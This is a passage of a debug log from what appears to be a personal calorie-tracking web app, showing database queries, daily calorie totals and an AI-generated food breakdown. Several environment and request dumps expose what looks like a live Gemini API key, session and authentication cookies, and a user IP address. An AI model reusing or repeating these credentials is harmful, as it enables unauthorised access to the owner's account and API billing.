    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A6smsg17WVTwvz3nfy1Oyfw%3D%3D.s7%2FgmQWrkKH7YmzUaDGZyD41G9LM7IDZVtVtiQKdt0m0HK9GMP1Ups5goSIYFe%2BJM9atl6W%2B0lYlKxyTXe%2B3E8NDAIaa4RXgDsoQFOrzl8F6wCgTbCh32cDDzMcO2p8XTj8z1T%2F17n37jXqMPvP7ha41FVNcf9wQ7178p5E6PY4%3D.Gr9mpYubELoHAXkeZ7bcRqlgBSgDUGQvGiOwn6yqjEI; your_r_git.sid=s%3ASgjPUq8Mdpbvedb2ZlGJAnRWqlvbgMKn.iY%2BTzE6DVmIj8sKvo1ydJwWhRIBDE9t3rpop55X9dhc',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-17T03:39:48.698Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-17T03:39:48.698Z server-connect:app Executing action step identify
2025-12-17T03:39:48.698Z server-connect:app options: { provider: 'security' }
2025-12-17T03:39:48.699Z server-connect:output identity: 1
2025-12-17T03:39:48.699Z server-connect:app Executing action step restrict
2025-12-17T03:39:48.699Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T03:39:48.699Z server-connect:output restrict: undefined
2025-12-17T03:39:48.699Z server-connect:app Executing action step single
2025-12-17T03:39:48.699Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-17T03:39:48.701Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-17T03:39:48.701Z server-connect:app Executing action step identify
2025-12-17T03:39:48.701Z server-connect:app options: { provider: 'security' }
2025-12-17T03:39:48.701Z server-connect:output identity: 1
2025-12-17T03:39:48.701Z server-connect:app Executing action step restrict
2025-12-17T03:39:48.701Z server-connect:app options: { provider: 'security' }
2025-12-17T03:39:48.701Z server-connect:output restrict: undefined
2025-12-17T03:39:48.701Z server-connect:app Executing action step single
2025-12-17T03:39:48.701Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-17T03:39:48.702Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-17T03:39:48.703Z server-connect:app Executing action step select
2025-12-17T03:39:48.703Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-17T03:39:48.703Z server-connect:output summary: undefined
2025-12-17T03:39:48.704Z server-connect:output item_list: []
2025-12-17T03:39:48.704Z server-connect:app Executing action step setvalue
2025-12-17T03:39:48.704Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-17T03:39:48.705Z server-connect:output var_total: 0
2025-12-17T03:39:48.705Z server-connect:app Executing action step setvalue
2025-12-17T03:39:48.705Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-17T03:39:48.705Z server-connect:output var_consumed: 0
2025-12-17T03:39:48.705Z server-connect:app Executing action step setvalue
2025-12-17T03:39:48.705Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-17T03:39:48.705Z server-connect:output var_deficit: 2400
2025-12-17T03:39:48.705Z server-connect:app Executing action step custom
2025-12-17T03:39:48.705Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-17T03:39:48.706Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  }
]
2025-12-17T03:39:49.372Z server-connect:app Executing action step identify
2025-12-17T03:39:49.372Z server-connect:app options: { provider: 'security' }
2025-12-17T03:39:49.372Z server-connect:output identity: 1
2025-12-17T03:40:46.662Z server-connect:router Serving templateView /calorie-tracker
2025-12-17T03:40:46.667Z server-connect:app Executing action step identify
2025-12-17T03:40:46.667Z server-connect:app options: { provider: 'security' }
2025-12-17T03:40:46.667Z server-connect:output identity: 1
2025-12-17T03:40:46.667Z server-connect:app Executing action step restrict
2025-12-17T03:40:46.667Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-17T03:40:46.671Z server-connect:output restrict: undefined
2025-12-17T03:40:46.671Z server-connect:router Render template layouts/main
2025-12-17T03:40:46.671Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'sec-ch-ua-mobile': '?0',
    accept: '*/*',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'empty',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A6smsg17WVTwvz3nfy1Oyfw%3D%3D.s7%2FgmQWrkKH7YmzUaDGZyD41G9LM7IDZVtVtiQKdt0m0HK9GMP1Ups5goSIYFe%2BJM9atl6W%2B0lYlKxyTXe%2B3E8NDAIaa4RXgDsoQFOrzl8F6wCgTbCh32cDDzMcO2p8XTj8z1T%2F17n37jXqMPvP7ha41FVNcf9wQ7178p5E6PY4%3D.Gr9mpYubELoHAXkeZ7bcRqlgBSgDUGQvGiOwn6yqjEI; your_r_git.sid=s%3ASgjPUq8Mdpbvedb2ZlGJAnRWqlvbgMKn.iY%2BTzE6DVmIj8sKvo1ydJwWhRIBDE9t3rpop55X9dhc',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T03:43:59.997Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: '*/*',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A6smsg17WVTwvz3nfy1Oyfw%3D%3D.s7%2FgmQWrkKH7YmzUaDGZyD41G9LM7IDZVtVtiQKdt0m0HK9GMP1Ups5goSIYFe%2BJM9atl6W%2B0lYlKxyTXe%2B3E8NDAIaa4RXgDsoQFOrzl8F6wCgTbCh32cDDzMcO2p8XTj8z1T%2F17n37jXqMPvP7ha41FVNcf9wQ7178p5E6PY4%3D.Gr9mpYubELoHAXkeZ7bcRqlgBSgDUGQvGiOwn6yqjEI; your_r_git.sid=s%3ASgjPUq8Mdpbvedb2ZlGJAnRWqlvbgMKn.iY%2BTzE6DVmIj8sKvo1ydJwWhRIBDE9t3rpop55X9dhc',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-17T03:40:48.690Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-17T03:40:48.690Z server-connect:app Executing action step identify
2025-12-17T03:40:48.690Z server-connect:app options: { provider: 'security' }
2025-12-17T03:40:48.691Z server-connect:output identity: 1
2025-12-17T03:40:48.691Z server-connect:app Executing action step restrict
2025-12-17T03:40:48.691Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T03:40:48.691Z server-connect:output restrict: undefined
2025-12-17T03:40:48.691Z server-connect:app Executing action step processWithGemini
2025-12-17T03:40:48.691Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-17T03:41:10.876Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Walnuts',
      quantity: '2 full walnuts (approx 15g edible portion)',
      total_calories: 98,
      protein: 2.25,
      carbs: 2.1,
      fat: 9.75,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Excellent source of healthy fats (omega-3s), antioxidants, and some protein. Highly beneficial for overall health, brain function, and muscle recovery, directly supporting muscle development goals.'
    },
    {
      food_name: 'Pre-workout supplement',
      quantity: '1 scoop (6.5g)',
      total_calories: 5,
      protein: 0.5,
      carbs: 0.5,
      fat: 0,
      lower_calorie_alternatives: [Array],
      skip_level: 2,
      skip_reason: "Primarily a performance enhancer, not a significant nutritional source of macros. It can be beneficial for intense early morning workouts to improve focus and energy, but it's not essential and can be skipped if you are sensitive to stimulants or don't require the extra boost."
    },
    {
      food_name: 'Whey Protein',
      quantity: '1 scoop (26g)',
      total_calories: 99,
      protein: 20.3,
      carbs: 1.8,
      fat: 1.3,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Excellent, fast-digesting protein source crucial for muscle repair, growth, and recovery, especially after early morning gym sessions. It directly supports your muscle development goal by providing essential amino acids efficiently.'
    }
  ],
  overall_totals: {
    total_calories: 202,
    total_protein: 23.05,
    total_carbs: 4.4,
    total_fat: 11.05,
    units: { calories: 'kcal', protein: 'g', carbs: 'g', fat: 'g' }
  }
}
2025-12-17T03:41:21.081Z server-connect:router Serving serverConnect /api/health/manage-calories
2025-12-17T03:41:21.081Z server-connect:app Executing action step identify
2025-12-17T03:41:21.081Z server-connect:app options: { provider: 'security' }
2025-12-17T03:41:21.081Z server-connect:output identity: 1
2025-12-17T03:41:21.081Z server-connect:app Executing action step restrict
2025-12-17T03:41:21.081Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T03:41:21.082Z server-connect:output restrict: undefined
2025-12-17T03:41:21.082Z server-connect:app Executing action step condition
2025-12-17T03:41:21.082Z server-connect:app options: {
  if: '{{$_POST.items.length}}',
  then: {
    steps: {
      name: 'repeat',
      module: 'core',
      action: 'repeat',
      options: [Object],
      output: true,
      meta: [Array],
      outputType: 'array'
    }
  }
}
2025-12-17T03:41:21.082Z server-connect:app Executing action step repeat
2025-12-17T03:41:21.082Z server-connect:app options: {
  repeat: '{{$_POST.items}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'calories',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2025-12-17T03:41:21.082Z server-connect:app Executing action step insert
2025-12-17T03:41:21.082Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-17T03:41:21.086Z server-connect:output calories: { affected: 1, identity: 417 }
2025-12-17T03:41:21.086Z server-connect:app Executing action step insert
2025-12-17T03:41:21.086Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-17T03:41:21.087Z server-connect:output calories: { affected: 1, identity: 418 }
2025-12-17T03:41:21.087Z server-connect:app Executing action step insert
2025-12-17T03:41:21.087Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-17T03:41:21.087Z server-connect:output calories: { affected: 1, identity: 419 }
2025-12-17T03:41:21.087Z server-connect:output repeat: [ {}, {}, {} ]
2025-12-17T03:41:21.087Z server-connect:output condition: undefined
2025-12-17T03:41:21.313Z server-connect:router Serving templateView /calorie-tracker
2025-12-17T03:41:21.324Z server-connect:app Executing action step identify
2025-12-17T03:41:21.324Z server-connect:app options: { provider: 'security' }
2025-12-17T03:41:21.324Z server-connect:output identity: 1
2025-12-17T03:41:21.324Z server-connect:app Executing action step restrict
2025-12-17T03:41:21.324Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-17T03:41:21.325Z server-connect:output restrict: undefined
2025-12-17T03:41:21.325Z server-connect:router Render template layouts/main
2025-12-17T03:41:21.325Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A6smsg17WVTwvz3nfy1Oyfw%3D%3D.s7%2FgmQWrkKH7YmzUaDGZyD41G9LM7IDZVtVtiQKdt0m0HK9GMP1Ups5goSIYFe%2BJM9atl6W%2B0lYlKxyTXe%2B3E8NDAIaa4RXgDsoQFOrzl8F6wCgTbCh32cDDzMcO2p8XTj8z1T%2F17n37jXqMPvP7ha41FVNcf9wQ7178p5E6PY4%3D.Gr9mpYubELoHAXkeZ7bcRqlgBSgDUGQvGiOwn6yqjEI; your_r_git.sid=s%3ASgjPUq8Mdpbvedb2ZlGJAnRWqlvbgMKn.iY%2BTzE6DVmIj8sKvo1ydJwWhRIBDE9t3rpop55X9dhc',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T03:43:59.997Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A6smsg17WVTwvz3nfy1Oyfw%3D%3D.s7%2FgmQWrkKH7YmzUaDGZyD41G9LM7IDZVtVtiQKdt0m0HK9GMP1Ups5goSIYFe%2BJM9atl6W%2B0lYlKxyTXe%2B3E8NDAIaa4RXgDsoQFOrzl8F6wCgTbCh32cDDzMcO2p8XTj8z1T%2F17n37jXqMPvP7ha41FVNcf9wQ7178p5E6PY4%3D.Gr9mpYubELoHAXkeZ7bcRqlgBSgDUGQvGiOwn6yqjEI; your_r_git.sid=s%3ASgjPUq8Mdpbvedb2ZlGJAnRWqlvbgMKn.iY%2BTzE6DVmIj8sKvo1ydJwWhRIBDE9t3rpop55X9dhc',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-17T03:41:21.559Z server-connect:app Executing action step identify
2025-12-17T03:41:21.559Z server-connect:app options: { provider: 'security' }
2025-12-17T03:41:21.559Z server-connect:output identity: 1
2025-12-17T03:41:22.078Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-17T03:41:22.080Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-17T03:41:22.080Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-17T03:41:22.081Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-17T03:41:22.081Z server-connect:app Executing action step identify
2025-12-17T03:41:22.081Z server-connect:app options: { provider: 'security' }
2025-12-17T03:41:22.081Z server-connect:output identity: 1
2025-12-17T03:41:22.081Z server-connect:app Executing action step restrict
2025-12-17T03:41:22.081Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T03:41:22.081Z server-connect:app Executing action step identify
2025-12-17T03:41:22.082Z server-connect:app options: { provider: 'security' }
2025-12-17T03:41:22.082Z server-connect:output identity: 1
2025-12-17T03:41:22.082Z server-connect:app Executing action step restrict
2025-12-17T03:41:22.082Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T03:41:22.082Z server-connect:output restrict: undefined
2025-12-17T03:41:22.082Z server-connect:app Executing action step select
2025-12-17T03:41:22.082Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-17T03:41:22.082Z server-connect:app Executing action step identify
2025-12-17T03:41:22.083Z server-connect:app options: { provider: 'security' }
2025-12-17T03:41:22.083Z server-connect:output identity: 1
2025-12-17T03:41:22.083Z server-connect:app Executing action step restrict
2025-12-17T03:41:22.083Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T03:41:22.083Z server-connect:output restrict: undefined
2025-12-17T03:41:22.083Z server-connect:app Executing action step single
2025-12-17T03:41:22.083Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
